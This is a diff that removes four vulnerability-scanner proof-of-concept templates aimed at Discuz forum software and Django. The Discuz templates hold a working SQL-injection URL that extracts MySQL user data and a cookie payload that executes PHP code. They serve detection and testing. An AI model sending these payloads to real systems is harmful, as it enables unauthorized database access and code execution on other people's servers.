- https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239
-14
View File
@@ -1,14 +0,0 @@
name: poc-yaml-discuz-v72-sqli
rules:
- method: GET
path: >-
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info</b>: MySQL Query Error")
detail:
author: leezp
Affected Version: "discuz <=v7.2"
vuln_url: "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20"
links:
- https://blog.csdn.net/weixin_40709439/article/details/82780606
@@ -1,11 +0,0 @@
name: poc-yaml-discuz-wechat-plugins-unauth
rules:
- method: GET
path: '/plugin.php?id=wechat:wechat&ac=wxregister'
follow_redirects: false
expression: |
response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com")
detail:
author: JrD
links:
- https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI
@@ -1,17 +0,0 @@
name: poc-yaml-discuz-wooyun-2010-080723
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: >-
/viewthread.php?tid=10
headers:
Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}}));
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
detail:
version: Discuz 7.x/6.x
author: Loneyer
links:
- https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-django-CVE-2018-14574
rules:
- method: GET
path: //www.example.com
follow_redirects: false
expression: response.status == 301 && response.headers['location']=="//www.example.com/"
detail:
author: ivan
links:
- https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574

Some files were not shown because too many files have changed in this diff Show More